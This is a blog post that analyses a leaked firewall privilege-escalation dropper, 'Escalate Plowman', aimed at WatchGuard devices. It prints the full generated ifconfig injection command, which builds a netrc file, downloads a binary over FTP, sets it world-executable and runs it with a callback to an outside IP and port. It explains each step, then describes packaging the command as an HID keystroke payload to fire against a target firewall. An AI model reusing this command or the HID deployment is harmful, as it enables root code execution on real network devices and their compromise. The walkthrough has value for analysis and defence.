Sunday, September 11, 2016

Escalate Plowman – Linux FW Privilege Escalated Download and Execute


The Escalte Plowman tool (https://github.com/dreilly369/EQGRP-Auction-Files/tree/master/Firewall/EXPLOITS/ESPL) is a parameterized dropper (or a privelege escalation exploit) against WatchGuard firewalls (and likely a few others) of unknown versions. It injects code via the ifconfig command. It uses FTP, TFTP, or HTTP (via wget) for the download portions. The code makes some assumptions about the environment. For instance, when using the TFTP protocol it assumes the existence of a custom tftp client located at the hard-coded location /usr/rapidstream/bin/tftp. The sample also makes the assumption of the interface being eth0.



Still its is a fun little program. It also has the virtue of not being particularly dangerous to test locally. It is not an exploiter itself, but more accurately it builds a command for someone to execute which will, in theory, download a file and execute it with escalated privileges. The exploit string builder is small and was easy to understand which is another feature I like about it. Here are the only files used:
The escalateplowman_1.1.0.1.py file is the least interesting as it just ties the params.py file to the workit.py file.

configurable params:
  • download* (string) parse to: dl_proto, dl_ip, dl_port, dl_file, dl_user, dl_pass. - This is the string containing the tool to grab including the protocol and all the connection details
  • callback* ("30.40.50.60:9342") parse to: callback_ip, callback_port . - An IP:Port that will receive a callback ping after the code is executed.
  • verbose - Only appears to print "verbose mode ON"in this version
  • debug – Outputs helpful messages such as the shell_command string intermediate steps.
* means required field

An example of the usage is:
python escalateplowman_1.1.0.1.py --download="ftp://unamehere:Assword-here@0.0.0.0:22/rfs/toolname-here" –debug --callback 30.40.50.60:443
which outputs:

 
ifconfig "$(bash -c \"$(echo -e 'echo default login unamehere password Assword-here macdef init \\x3e /tmp/.netrc\\x3b echo binary \\x3e\\x3e /tmp/.netrc\\x3b echo get rfs/toolname-here /tmp/rfs/toolname-here \\x3e\\x3e /tmp/.netrc\\x3b echo quit \\x3e\\x3e /tmp/.netrc\\x3b echo \\x3e\\x3e /tmp/.netrc\\x3b echo \\x3e\\x3e /tmp/.netrc\\x3b chmod 600 /tmp/.netrc\\x3b HOME=/tmp ftp 0.0.0.0 22 \\x3e /dev/null\\x3b rm -f /tmp/.netrc\\x3b chmod 777 /tmp/rfs/toolname-here\\x3b D=-c30.40.50.60 :443 /tmp/rfs/toolname-here\\x3b echo eth0\\x3b ')\")"
*Tested on a GNU/Linux x86_64 v3.14.26-24.46.amzn1.x86_64 machine compiled Wed Dec 10 10:02:43 UTC 2014
I will come back to this output in much better detail in just a minute, but the idea is if that command is run on a target Linux-Based Fire Wall, it will bypass user restrictions, download a binary, and then execute it.

The params.py file is used to build the command line option parser. It contains the logic to determine download parameters and pass them along to the workit.py code.

The three functions do basically what their name implies. Bail() handles exiting on errors, display() handles the menu construction and and parse() is used to do just that. Parse the input of the options into it's constituent parts.

Let's look at what the actual code is doing now. At a high-level it is building a custom script to access the server you defined and calling ifconfig with the script (built using bash -c) to effect the download. The exact contents of the script are determined in the workit.py file and are based off of the network protocol you specified in the –download option. As previously mentioned the valid protocols built in are FTP, HTTP, or TFTP. We could probably extend this if needed, but I am going to leave that for some other time. Continuing from the example usage above we can see that the FTP code uses bash to build a custom netrc file in the temp directory:
echo default login unamehere password Assword-here macdef init > /tmp/.netrc
The netrc script allows you to specify a download type which the script does with:
echo binary >> /tmp/.netrc;
The next command sets up the actual download remote and local locations
echo get rfs/toolname-here /tmp/rfs/toolname-here >> /tmp/.netrc;
For the last part of the script it quits out then and appends 2 empty lines:
echo quit >> /tmp/.netrc; echo >> /tmp/.netrc; echo >> /tmp/.netrc;
Of course we need to set the permission flags properly:
chmod 600 /tmp/.netrc;
next it sets HOME to be /tmp with a call to the ftp client with the server credentials provided as part of the –download string. It pipes the stdout to /dev/null.
HOME=/tmp ftp 0.0.0.0 22 > /dev/null;
Now the netrc script will execute grabbing the tool from the remote location and placing it in a local mirror directory (under /tmp/rfs/ in this example). So the script cleans up after itself with:
rm -f /tmp/.netrc;
It makes the downloaded tool executable by the world:
chmod 777 /tmp/rfs/toolname-here;
It sets D to be the callback location defined in the –callback parameter and executes the tool in the local /tmp directory:
D=-c30.40.50.60 :443 /tmp/rfs/toolname-here;”
Last it sets the interface to do all this dancing on to eth0 and closes out the bash script tags, etc:
echo eth0; ')")"
The other protocols have similar functionality so I will not dive into each as deeply. Below are some notes on the code in the workit.py file.

As you can see the structure of the file is pretty simple. We already showed the result of it preparing a parameterized payload based off of the FTP protocol, but this is how it actually happens. 
Once the main code calls params.parse() the param object is filled in with all the pertinent download details. The main script then passes this object to the workit.prepare_command() function.

The example protocol was ftp so the parameters were passed again into the prepare_ftp() function:

The other functions it could have been passed to are below as well. First this is the HTTP function. It uses wget instead of a netrc file to get the given resource.

The TFTP code assumes a hard coded location /usr/rapidstream/bin/tftp for the client to use, Other than that it is very similar to the other two.

Now that we have a good understanding of the code and what it will output It seems to me that this is a perfect candidate for an HID attack vector. Converting this to a DarkDuino Payload was simply a matter of breaking the command into reasonable chunks and re-escaping the escapes in the nested commands.

The push-button brings Pin 4 to ground which fires off the above escalated command in a matter of seconds without worrying about my fat-finger typing slowing things down. Simply connect to the target firewall, push the button, and watch the magic happen.

For more on the DarkDuino tool checkout my previous two posts on building it (http://the-it-ninja.blogspot.com/2015/09/building-darkduino-tool.html), and programming it with a similar payload for Windows based on PowerShell (http://the-it-ninja.blogspot.com/2015/10/darkduino-payload-1-powershell-dne.html). 

No comments:

Post a Comment